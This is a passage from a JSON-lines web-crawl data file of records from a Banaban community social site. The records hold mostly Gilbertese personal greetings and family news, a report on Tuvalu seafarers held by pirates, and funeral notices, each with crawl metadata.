0.9994894862174988}","num_words":1596,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.184,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Merry xmas and happy new year,\nKam uara? Long time no see kee??? E nang kanga ea nang bati te tabe. Regards to ur family ao neiko ngkana ko kakaitibo ma Banian ao koa anganna au kamauri ao anganna au email address aio …\"\n\"Mauri bro,\nE a nang maan te tai ao tia tiba reitaki........ko mena ngkai iaa?????.........Ai raman natim?????......I taku ba koa bae ni kara kee...........hahahahaha.........don't say ko a tibuna kee..........e nang raraba te…\"\n\"Mauri oh\nKo a anganiia naba au kamauri Burenimone ma Alofa David Biara Kitarite ni ikotaki ma kain abam ma natim n reken te tai aio..... ao e uara ngkai Biara ko aki kan send aia photos bwa i arangi ni kan noriia ao riki tao a kani maninga taekau.…\"\nKo a anganiia naba au kamauri Burenimone ma Alofa David Biara Kitarite ni ikotaki ma kain abam ma natim n reken te tai aio..... ao e uara ngkai Biara ko aki kan send aia photos bwa i arangi ni kan noriia ao riki tao a kani maninga taekau. neiko I a manga bon ongraa iroumi ni maitin te tai ae kona n reke\nKo rarabwa ao tetekeraoi ma am kain am auti riki nakoia natim\nneiko akea email address bwa i tii used te gmail firstname.lastname@example.org thats me\nao neiko koa tia n roko te website are te Kiribati online community????\ne nang fun ma iangoa rokom iai keee\nahhh neiko ko kina ngkoa Bula e a tia ni mate are mwanen nei tireta ao nei Beibei naba e a tia naba ni mate\nNei Bweteti naba e a tia ni mate are natin Toariri ma Nei Kiba kee e nang kawa\nBanaba ngkai i tuai man roko iai kabanean rokou n 2004 ae i tii round trip ao imwina i tuai manga roko until today\nma iangoia ngkoa ae na nako ma Riitai ao baby Jumo(Ju for Junior Mo for Moannatu) ngkana e abwabwaki te maiu nako ni motirawa i banaba\nneiko are i nang biro ngkana iai fotos ake na download ao ngkanne iai bwa ngai irou e aki rin kee bwa e a bon nang koro te biro irou\nneiko natiu ana ririki ngkai 1and 5months, e rii bubura kee ao e abwabwaki bwa tao e bon katotonga Ten Riitai ........... fafule naba kee\nma ngkana e angaraoi tao kekeweana teutana ao koa karerekea Roneta bwa e taku bwa iai ae na mwananga inanon July ao neiko ami foto ao Burenimone ma Nei Alofa kamena n te flame bwa ti nang kan nora tamneimi mai ikai ao natim naba ke bon te whole family plsssssss ko kairia naba ma ana bwai mwanem aio bwa ngaia e a manga bubura moa au bebwa ......... thats an order ......... i nang kainanoa riki ami fotos pls\nneiko i kaongoia kaka maeng kee are i kaitibo ma ngkoe n te air ao a nang bwa kanoani mataia n ongora kee ao a nang titiraki bwa a uara am karo akanne\nneiko naki nang kananau bwa i chat ngkai man ana auti daddy Rutiano ma mwina i a manga teke n te bwaura bwa i nakomai ni kabane meter ikai keeeeee\nahahahah neiko bwa iroum na bon kabanea au tai iroun Ten Taake ke i bon iai riki karimwin Riitai are Teririaki.......... kona kaibentingai iroun Taake keee ahahahahahahha, kona aki nang babakan n aine n taetae nakoiu bwa are ngaia i a manga unaine iroum keee ao bon anne ae i nang kantaningaia bwa na bon anaa buu ae na bubura au beebwa irouna bwa i a nang bora n au bebwa ae e a bon uauarereke naba n au utu keeee, ao e uara ngaia temanna naba ngkoe ae ko mwane bwa are e a\nbubura au bebwa iroum mai iroun are au tangira keee ahahahaha.........\nneiko e a tia n oki Tabiang mai ikanne, ao a nakou n au office tangaia ao tia kakaraki keee, ngaia e a karakiniko are e bon boo te karaki raoi ao ngkoe ai taekan karakinan te boarding iroum kee ........ neiko e taku naba bwa ko a nang kii nangkona ao kunim e a moanna ni mara ke n raa aingkam i aki raoi ongo heheheheheheh.................. ao neiko ko a kuri kanga n aki roko ikanne bwa tao koa betinako ke a bwabwa n te nao are e roko ngkoa n ara tabo n tebotebo are kanga ara swimming pool are e a bure iai ara tai bwa e a tii bwaro naba te nao, iaaaaaaa ngkana i bon uringa te tai arei are ko nang imanono iai ao tao are tia bane ni mate bwa tao tia bae n te nanganga ke aingkam kee ao tao e a tataningaia aia ataei Nei Merea ake a tebotebo ao a tibu kiiaaa, keee\nshshsh bon arona Kiebu e nang kakauringaba naba te bae are te ikoikotaki ao te kukurei n am tai n nanoroo ao ko aki kona n ataaa te tai ae kona manga raure nako iai ao tao kona kaiboo, well lets hope bwa tina manga bon bane ni meet again one day keeeee\nahhhh am boiarara ae ko kainanoia keee, no prop bwa au boiarara are tao e na karekea buu ai bon am bwai naba bwa are kona butimwaea ngkoe te moan roko bwa are tao e na bon bae ni moana naba ikanne ngkana e oki buu arei ko tekebuaka ngkana e kiba naba mai Australia n nakomai ngaia are moantaai kakaeka au kauti keeee bwa ni kabanean reitakiu ma ngaia ao e na oki inanon Ritembwa\nneiko ao tai tutua taekau iroun Meia kee bwa mwina e kabura kiiu ni biroton buuna arei keee ahahahahahahah, ao neiko angan moa are buum au kamauri keee ao moarara riki natim akanne ao tibuu ake Ten Burenimone ma Nei Alofa au kamauri naba ae moan te takaburinako ma nam Biara ao DAvid ao engara moa nei Kety????????? e tau ma anganna naba au kamauri keee bwa i kawa\nhey e a ra babane moa mai ikai ao i a tia ni butia Ritai taningan natim bwa e tareboon last friday ao e taku bwa e na karekea bwa kawaia ngkai a kitana America nako Hong Kong are nanona e a bobwai naba ngkanne i Hong kong, ao are te tina e a kaboa taningam te nainai kee ahahaha\nneiko ko rarabwa i nang kainanoa onean am baby boy aio ngkana e reke ke e angabuaka ai bon nakoim anne\niai au foto aika n attach ao tai ngangare iroun te beki ni Fiji keee ahahaha\nThanks for relating your story. If your man is a crossbreed between Tekanana & Buuree then yes, he's our cousin. But mind you, he is abnormal! Oh vosota tavale!!!!!????\"\"\"\"\"\nWell if you go through my pictures you will see how grown Mootii is. She's doing her Form 7, still at EBS. Rauneti is doing Form 4 at KGV while Toaaki is doing his Form 6 also at KGV. My bukinibero - Tekateio - he is so genius that he drop of school at Class 5. Now he goes \"torerorero\" playing with kids not his age.\nWell, back to bro Biara. By your sound he seems to be changing to a 'belo bird', i.e. if I don't get you wrong! Neck must be more or less like a heron??? Hahaha!!! Hey Sis, don't tell him or he would squeeze me like a nut, since he's so tall. Anyway, give him my warm regards.\nPlease tell me your kids names. And if you have close up photos of them I would love to have them. You forget to tell where you work and if that abnormal is also working. For if he's not then you just pack his clothes and you show him the door out - not in.@@@@@@\nmauri mauri neiko ko uara ngkai ao anga maa ALOFA AO BURENIMOONE AO BIARA MAA a bon ikawai kee manem akane kee,e koaua ea bon maan te tai.ngai nee i bon mena n cetc narere are e mena iaa spc na bon kabanea ikai 7month ao iaoki nako naba,neiko i tataromauri n ST ADREW BA are e rawata kain kiribati iai ngaia i kaan nanako iai ba i kinaia kaina ao ngkami kam mena iaa,ia nang kan noori naba ngkami,e raba naba te kaitibo nte tai aei,koa angania au kamauri am karo ao manem akane ao NEIKITARITE KEE tia boo moa\nneiko i taku ngai bwa ko nang kabutaennangoa au message are i katua, i nang karabwako keee n am news aio ae i warekia, neiko e kaan ae na tang bwa i nang aki kakoaua ae kona answer back besides e nang rotai te kukurei ao irarikina i bon nang miss u ma am family,\ne aoria bwa are ti aki ataaa kanoan te bong kee e a nang maan te tai ngaia are na manga kamauriko riki ma buun anne ao moa riki am babies akanne ngaia ko nang tekena te aba keeeee ai uoman natim neiko ngai i aki kariki kee bwa ti tobwa natin Taake are karimoan raou arei Taake are te baba ao i a manga tobwa natina kee ahahahahaha shshshsh kanoan te bong keee are bon raora ni uarereke ao ti a tii manga buunira naba kee ahahahah kanga ti bon nang tei ni kakamanga keeee\ne ang neiko Ten Riitai bwa are e a roko i Tiaman ma ngkana e call ao i a anganna am kamauri, ao neiko iai am bubuti tao te tabia bwa i a tuanga naba bwa kawain ana kaibuke e bon roko i Hong Kong naba kee bwa taningan natim ah..... tiaki am bubuti na bon karokoa bwa au bubuti nakoina taningan am baby gal anne\nao neiko i mwakuri ngkai n te high court ao kain te auti a nang maururng raoi Meeia e tia reirei n te moan rinan ao e bon nako Banaba n tia reirei keeee e a kariki naba uoman natina ao neiko e bureti buuna keee i aki kewe e biroto ao e marika n rang ahahahaha i bon koaua neee\nneiko tao na boo nako moa ma tai raraoma kee bwa i a manga bon okiriko ma tanan news bwa ngkai i katewe moa keee\nangina gramps maeng au kamauri keee ao kiss am babies akanne ibukiu keeeee","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/Feeldafeelings","date":"2019-07-23T09:15:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529175.83\/warc\/CC-MAIN-20190723085031-20190723111031-00144.warc.gz","language":"gil","language_score":0.9999530315,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.999953031539917}","num_words":1700,"character_repetition_ratio":0.037,"word_repetition_ratio":0.046,"special_characters_ratio":0.235,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri maneu are te kaimoa ni butingting..LOL ahaha god bless mai ikan keep safe and ururinga te Uea n taai nako...god bless ya frada hope to see you anetime wen u know..drop by..take care mai ikanne koe te kaimoa..lol muj heart...ao eang ko manga raraun..safoo tofaa...itae..lol god bless yas brother..\nhey tibum nei Tute ao koa aganna naba au kamauri ker ao gai e bure au mena ba ai natiu ngkoe ma egae n anne ao ia araniko moa ba maneu hahah euara anne ma tinam ai tarin au beeki are ikai i mean ai tariu ma koa maga reitia mai ikanne ker\nMOCE","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/RuabetaRimon","date":"2019-07-22T09:41:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527907.70\/warc\/CC-MAIN-20190722092824-20190722114824-00317.warc.gz","language":"gil","language_score":0.927105248,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.9271052479743958, \"sps_Latn_score\": 0.023746056482195854}","num_words":104,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":0.908,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kam uara? Long time no see kee??? E nang kanga ea nang bati te tabe. Regards to ur family ao neiko ngkana ko kakaitibo ma Banian ao koa anganna au kamauri ao anganna au email address aio email@example.com\nmauri,\nea ngman tetai n aki kakaitbo te aba,ngai ngkai i boni mena naba i tuvalu,\nba rigth now ao i mena i Tasmania Australia ba ireirei,ao\nena bane au course nakon aug ao ia manga oki naba\ntao ia manga kaitibo ma Nei Roneta bangai e nang manga kaina abau\nrongo2n ikai akea ai bon te reirei naba ao riki ea bon rangi ni kamaitoro\nba are ea winter, ao irarikina ia boni kan oki nako banaba ao n noria kaina\ntao ena bon reke tetai ao ao ia manga oki who khows\nena tekeraoi te waaki ao koangania naba am koraki au kamauri\nNeiko e tuai man reke au tai ni kaitibo ma Roneta ma tia bon kakabanetai naba n chat nte gmail....hahaha...I also invited her to our get together (fun night and picnic) but she refuses to come.....e taku ba E bon rangi ni mamaa.....ma ena manga bon reke au tai ngkai ni kaitibo ma ngaia tao ni wiiki riki aika ana roko ba are ngkai ea bon bane tabeu ba ea bane au exam.......tao tina nako Rabi Kava ni mooi nangkona teutana ao tao tia moana naba te Dragon n okira.........hahahaha......tina rawata n taibaoaki ngkoa.....\nNeiko I bon rangi n nanokawaki n ongo ae ea tia ni motirawa Nei B'eteti....tera aorakina?.....ao angaa Nei Omerite ma Nabakai?.....nee ao tibum a uara a bon marurung naba???......ao Kati ma Francis angaa ngkai ao a koraki iraua???......kanga I bon rangi ni 'bera va levu' nte news mai Banaba.....ao tao Nna ongora mai iroun Roneta ma ena kanga ba are ea bon bane naba ara tai ni karaki n aki akaka man ngangarengare.....kanga tia bon boboonako naba ni kangai ao tia maninga ni karakina Banaba.....neee ngkana e bon reke mawam ao tao koa manga update mai ikanne.......ena tekeraoi te waaki ikanne ao tia manga boo moa......kee","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/AIMEETIKA","date":"2019-07-23T08:58:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529175.83\/warc\/CC-MAIN-20190723085031-20190723111031-00202.warc.gz","language":"gil","language_score":0.9999160767,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9999160766601562}","num_words":343,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.21,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"tabuaki teaoti teikabua's Discussions\nStarted this discussion. Last reply by Ruteta Betarim Rimon Jul 30, 2012.\n1 Like\nI kan titiraki ikai bwa bukin tera ngkai eira te tiim Umesh ao tera ana konabai ae iaki kona ngai ae tei banaba ibukin wakinan makuri ni katamaroa nakon abau.Continue","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/tabuakiteaotiteikabua","date":"2019-07-22T23:34:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528290.72\/warc\/CC-MAIN-20190722221756-20190723003756-00029.warc.gz","language":"gil","language_score":0.9996581078,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9996581077575684}","num_words":45,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri Eveata ko boni kinai ke tao koaki koa maninga taekau ngaira ngkoa ake ti kain ni maeka iroun aunty Taoruru ao e nangin uarereke iai Nei Terenga ngaiae i nora naba arana n ana page Nei Teao ao ia kamauria naba e bon aki kinai bare e rangi ua rereke ngkoa ko uringa naba are tirawe tamnei bon aio tamneira ae i rangi n kakawakinna koa manga tomaia makanne.Taiaoka Eveata ko kona ni kakaea au i taman maikanne nte kareke rongo2 i butiko makai koa mnga tomai maikanne ao tia manga boo moa kee....kam na kabaia man tekeraoi naba\nhey there!!\nwats up??\nwell hope everything is going well over there\nso hows work and ur fam??we now having our 2 weeks break.well we will b going for d family gathering this afternoon so i have to go now\nhey dnt forget to send my regards to ur fam members kee?\nok then bye n take care\nMauri Sis,\nKo uara moa ngkai ma kain mengam n am tabo anne. Ngaira ti marurung naba mawa kain ara auti ao ti bon mena naba n ara tabo are te Burning West.....tao ngkana e reke te raun nakomai nako Biti ao koa manga bon raraun nakoira....tau ena tekeraoi naba te bong au ai bon teinga ao te kamauri mai iroura ma kain ara auti ni kabane tia bo bo moa\nMauri ma natim ao kain abam iaon Kiribati i roroko ikanne ni katoa ririki ao i aki ataia bwa ko mena ia???? Anyway Nna manga mananga nakoati e aki ataki ngkna E reke te kaitibo ikanne \/tekeraoi ma am utu\nao tia bo moa\nKou ara moa? Hey iongo ba koroko ikai teuana te tai....eaki reke ara tai ni kaitibo ba are tibon aki ataia ma anyway next time u happen to come around let me know.\nEna tekeraoi te makuri ao te waki n am tabo anne.....","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/EweataMaata?xg_source=activity","date":"2019-07-23T09:14:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529175.83\/warc\/CC-MAIN-20190723085031-20190723111031-00231.warc.gz","language":"gil","language_score":0.9996892214,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9996892213821411}","num_words":316,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te kaongora mai Tuvalu ibukin te kanganga ae reke irouia aia kaimoa n tauakin aia kaibuke irouia taan iowawa (pirates) i aoni kawaia mai Dubai nako Mumbasa i Kenya. Te rongorongo ae reke ma iroun aomatan te kambana ae te Tuvalu Maritime Services (TMS) ibukin kamakuraia kaimoa, e taekinna b'a tengaun-ma-uoman (12) kaimoa iaon te kaibuke anne bon kaimoa mai Tuvalu. E tauaki aia kaibuke i nanon te nama ae aranaki ba te \"Gulf of Aden\", te tabo aei e bon nangin ataki b'a maiti iai aekakin aomata aika iowawa aikai. Te kaibuke e tuai n reke ao i nanon te tai aei ao te kakaai irouia kaibuke-ni-buaka e bon nako naba.\nTe katanoata are kanakoaki ni \"Banaan Tuvalu\" (Radio Tuvalu), e bon maneweaki naba aran temanna ataein Rabi (Banaba) b'a temanna ibuakoia kaimoan Tuvalu ake a makuri iaon te kaibuke aei ae arana te \"MV Hansa Stavanger\". Aran te atei-ni-m'ane aei bon Teraoi Richard n arana ae ataki ikai i Tuvalu. Ma arana ae ataki iai i nanon tikuna i Rabi bon Teraoi Teangabure. Bon natin Nei Teraerae ma Bose are tabekaki iroun Teangabure ma Nei Ari.\nInanon te tai aei iaon Tuvalu, a tia ni butiaki ekaresia nako ma utu nako b'a ana uringaki kaimoa aika i nanon te tataro b'a aonga ni waekoa rekeia mani kararoaki katei aika bubuaka ake a kona n karaoaki nakoia. Mai ikai tao ai bon te bubuti mai iroura ngaira natin Banaba aika maeka iaon Tuvalu nakoimi kain abara iaon Banaba, Suva, Rabi ngke tabo ake a uamenako iai kain abara, ibukin uringkia kaimoa aikai i nanon te tataro.\nTao tia anne moa ngkai te rongorongo man ara tabo aei ao tia manga reitaki riki ngkana manga iai reken te rongorongo ibukia kaiomoa aikai.\nTofa","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/kaimoan-tuvalu-e-tauaki-aia","date":"2019-07-22T10:22:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527907.70\/warc\/CC-MAIN-20190722092824-20190722114824-00437.warc.gz","language":"gil","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000073909759521}","num_words":292,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.253,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri long time,\ne uara te makuri? ngai ae ia tia ni bung ao te baby boy...the 3rd boy in the fam...well, cant say much..ngkai ae i bon on leave naba ao akea te bae e karaoaki ti te tutuku ian te auti.\nanga ara kamauri nakoia kain am auti ao tia manga bon rereitaki rimwi...tia boo moa\nMauri nei rebe long time ao tia manga kaitibo e nang kanga te maiu aei..ao kam uara ao e uara tarawa? ikai bon arona naba ti makuri ae e iangoaki..ai ti 2wks more ao ia maternity leave...shshsh dont say it!! i know ti te ara naba ae te nurse without any knowledge on family planning..ha ha Anyway koa manga bon kakaongora mai ikanne ba kanga a ka2ongora riki rongo2n kiribati..ko kina Mwaraia Ririennang?\nMauri Sis,\nKam uara? Bon te inga te kamauri ao te katekeraoi n te Easter aio mai Tabwewa Meang nakoim ma am utu ao riki nakoia Aunty ma. A uara aunty ma a bon marurung ao maeka ia ngkai. Koa karokoa naba au kamauri irouiia.\nLove\nBro\nKo uara ngkai ma am utu ikanne i taku ba kam bon bane ni marurung,,,,i raman ngkai natimi iai riki te aine temanna irarikin nei Tiraoi ke tingaia.....hey tell me wot's happening there,e uara au bro anne e toki baebaen newena ngke ke...Anyways am o.k with hubby and am in Aussie.....tamnein natiu te kauoman aei n au page arana Nei Anika ao te karimoa arana Nei Moanatai iroun Tarome ma Biara i think you remember her.........well abit of introduction about me now your turn........My big kisses to all the kids and hope to hear from you soon......Loloma to everyone at home kee!!!! until then...........daume!!!! hehehehehehe\nNei KOITO Mauri,ko uara?long time eh?anywei not much from this side,still trying 2 contact the island but unsuccessful as usual.Well we'll just wait and pray.So howz u guys@ that side?and howz work and the children?and oh hows my fam's there?did u know that my dad's 1st wife is also around there with my 1\/2 sister Nei Temoua, they are neighbours 2 Naamai and them,,send my love to them too.Ok time to go now, i have to do pm shift today so,i'll hia from u soon and regards to Teke and ur children.NI SA MOCE MADA..\nBULA,te kaongora ikai bon ti bukin te cyclone aei,e bon roko korakorana i rabi ngke e bong ma ea bon nang kananokawaki ba e bon aki reke teutana te tai n reitaki ma ara koraki i rabi ibukin taian line aika aki kona te reke..e bon down te communication line iaon rabi ngaia are e aki reke te feedback mai irouia.E bon nang korakora riki nte north ma te news this morning ba ea kitana te north nakoin te ano n Lau..bon te kantaninga ae teimatoa ba a bon nang maano raoi.\nIkai e bon nako naba te makuri iroura nte cyclone aei ao te 12 hour shift ae wakinaki nte hospital-7 to 7..ma e roko te pickup ao drop off...e bon tuai rotaki raoi ara tabo ae waila aio ti teang ae kare ma te FEA & water e bon nako.Tao bon ti aikai moa ma ia pass moa te boro nakoim..TIA BOO.\nMauri riki,\nbon akea te rongorongo ti te katauraoi ibukin te cyclone aei.Ia bon tiba tarebon ma kain au auti i rabi ao a taku ba e nang korakora angina ikekei ma guess wat?Tabuti e bon iangoa naba ana nako nte onaroka ao tinau ma tibuna atuai mani maing...can imagine my pressure!!!\nNgai na bon riai n nite shift man last nite ma e aki roko te pick up ibukin te cyclone alert ngaia ngkai iaki sure ba ana pick me 2nite or no...a boni kawa riki raora ni makuri ba ai bon te pull-thru irouia ni cover up ibukia ake aki kona n roko..Ei e raba naba te kaongora ibukia au koraki ikanne..tuangia a koroboki nakoiu nte address;\nANTE-NATAL WARD,\nMATERNITY UNIT.\nCWM HOSPITAL.\nFIJI ISLANDS.\nTao ti ngai aikai au news,tia manga bon rereitaki.Loloma 2 Teke &the children..\nMauri,ea man te tai ao tia manga kaitiboaki..e nang kanga te makuri aei,ngkai i bon day off ngaia ae ea manga reke au tai moa ni tauboro..ao kam uara moa?tera ami latest i tarawa ikanne?bon akea rogorongon au tabo aei ti te makuri,amarake ao matu..ti bon marurung raoi ma natira..ao a uara au families ikanne?koa angania naba au kamauri.Tao ti ngaai moa aikai au kaongora,koa update mai ikanne.Bye..\nte moko ebon still nako naba iroun katevea and Kaukau is still nte tabo n dive. Akea te news ba bon ti Nei Teria ea tiba bung naba ao natina bon te aine n nei Karee bon still in Suva while Teria is schooling. Ngai kai bon tuku irouia Sarah ma Teiti ao kain ara auti bon tekaito ao nei Ta.....\nTe kamauri naba nakoia kain am auti n tia maga bon rereitaki\nHey gudnews ko kinaia maneu ma tariu ikanne..Nei Banna bon aran tarira anne.Nei To,koa taiaoka n angania au kamauri ao au inga ao koa tuangia ba a reireitaki ma ngai nte website aei..Bon akea rongorongon ara tabo aei bwa ti te makuri.Ngai i bon neeti nte CWMH Maternity Unit ao tariu karimoara nte Accident&Emergency..as for Tabuti,ae ea manga iein ngkai ma nei Raine Tento kain Buakonikai ao ai temanna natia.A bon ikawai natina ma Aoniba ao a bon tuku irouna ti ana biina raoi are e tobaia nei Tamna Nantemai..ao tarira are Nibo ea bon tiba iein naba ma Teannang are manen Tourikan,kain fatima..i taku ba ko bon kinaia..ei iaki ataia ba ko couz ma Teneeti are buun Namai?ao e uara te maiu ikanne?i taku kam bon unga ba a bon maiti naba kain rabi ikanne...tao ti ngaia aikai au news koa reitia mai ikanne..Gudnite.\nMauri ea tia n reke irou am request..ao e uaraTekee?i bon kaitibo ma manena are e iein ma natin Aran, ea tia ni bung ma ia aki ataia ba tera natina..ao kam tuai karairaki, ia bon tiba oki mai Rabi n january ao bon arona naba..Ei komena ia i Tarawa?ba iai maneu ma tariu ikanne, au steps mai iroun tinau.Koa manga bon kaongoai ba ko aonga ni karokoa ae message irouia.Tia manga bon reitaki,kamauri nakon Tekee ao natimi..Tia boo moa.\nhey buddy..sori teuetana bukin kairuan au comment are nte moan ba eaki makoro iai arau ba aran cindy ma try n understand ba ngai anne...anyway d news arround here is mostly te mate ao te chance ae korakora nakon te nati ni kiribati ibukin te travel nako tinaniku ibukin ae kaki nako te makuri..etau ma anga am koraki,amena ikanne ke abon stil back at d island...kana kokan reitaki ma ngai through te internet ao awaio au email address..firstname.lastname@example.org...tiabo moa ao etekeraoi te waki ikanne...nisa moce bro...loloma vei mama and dada...bhaiii..\nHI NABA TO U...FANX ALOT IBUKIN TE TAEKA NAKOI AU AU KANTANINGA BA AI BON AROMI NABA IKANNE...TE MAEU IKAI EBON HARD NABA BON TITEBO NABA MA IKANNE...U NEED MONEY 4 EVERYTHING KEE KANGA ANNE...KERR..HEY BUDDY'KOMANGA KABARA2KO RIKI NEXT U RITE BA NGKAI KANGA I LOST MOA BA IAKI ATAIA BA IBEATU KAIRO KE ANOTHER IBEATU RIKI ANYWAY GIV MHA REGARDS TO YORR FAMILY BACK THERE,TAU GUD LUK MOA N DONT 4GET ABOUT WAT I ASK U 2 DO..OK..BHAIIIIII","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=10jt9ubahrrnn","date":"2019-07-23T09:40:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529175.83\/warc\/CC-MAIN-20190723085031-20190723111031-00297.warc.gz","language":"gil","language_score":0.9993528724,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9993528723716736}","num_words":1199,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri riki neiko ko uara ngkai ko bon reirei ke ko mena ia ngkai\nko rangi n rarabwa ibukin kaboan au comment maikanne ao ngaira maikai ti rangi ni marurung raoi tao ai uana naba ma ngkami mai kanne\ntao ti ngaia moa maikai ao tia manga kaitibo rimwi kee bwa nna katauraoi moa au rongo2 kam na kabaia naba maikanne ao tofa mua tekeraoi\nmauri riki Teao koa taiaoka n tuanga aunty Taoruru bae ea taiaoka ni kakaea au i toman ni kareke rongo2mai Kiribati ba ngkai ia makuri nte kanako bana ara planet FM104.6 ngkana a rona bae kina Ten Rooti Terubea ao ea taiaoka n tuanga au rongorongo pls ngkana arona bwa e reke ao ea kanomaia nau email email@example.com boni bubutiko kee.... tao ti ngaia moa tia manga boo moa\nmauri Teao koa nangin ataeinaine Koa angan au aunty Taoruru au inga ao au kamauri ao nakon naba Matakite ma kain ami auti ni kabane ikanne Tia boni karabwa Te uea n ana tangira ao ana akoi ngkai e bon teimatoa te marurung iaora ni bane ao ai moarara riki te page aio ngkai tiauaia ni kaitiboaki iai koa manga tomaia maikanne ao tia manga boo moa kee...","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/TeaoMaata?xg_source=profiles_memberList","date":"2019-07-23T09:25:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529175.83\/warc\/CC-MAIN-20190723085031-20190723111031-00177.warc.gz","language":"gil","language_score":0.9998854399,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9998854398727417}","num_words":202,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tia kaotia ma te nanokawaki ba a tia ni weteaki man te maiu aei Burangke Airu Christopher ao Nei Tekirara Eketi n te bong aio.\nBurangke e wene rabatana n ana auti i Nadoi, Uma ao Nei Tekirara n ana auti I Tabwewa.\nAna karau-nano te Uea ena bon anganiia utu ake a taonaki n te rawawata inanon te tai aei. Ngaira aika ti tiku tina waki.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/taian-mate-iaon-rambi-1","date":"2019-07-23T10:20:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529175.83\/warc\/CC-MAIN-20190723085031-20190723111031-00452.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":67,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tia kaotia ma te nanokawaaki ba ea tiba weteaki naba man te maiu aei Nei Bereti Konono about an hour ago. Te funeral gathering ae karaoaki ngkai ni mwengaia i Tabwewa Meang. A bane n roko aia utu, kaain te Wetire ao aia friends ma aia neighbours\nMessage from Biara Touakin - Rabi 10.47am 19.10.09","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/funeral-notice-rabi-nei","date":"2019-07-22T23:52:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528290.72\/warc\/CC-MAIN-20190722221756-20190723003756-00375.warc.gz","language":"gil","language_score":0.9998949766,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9998949766159058}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIIA AOMATA 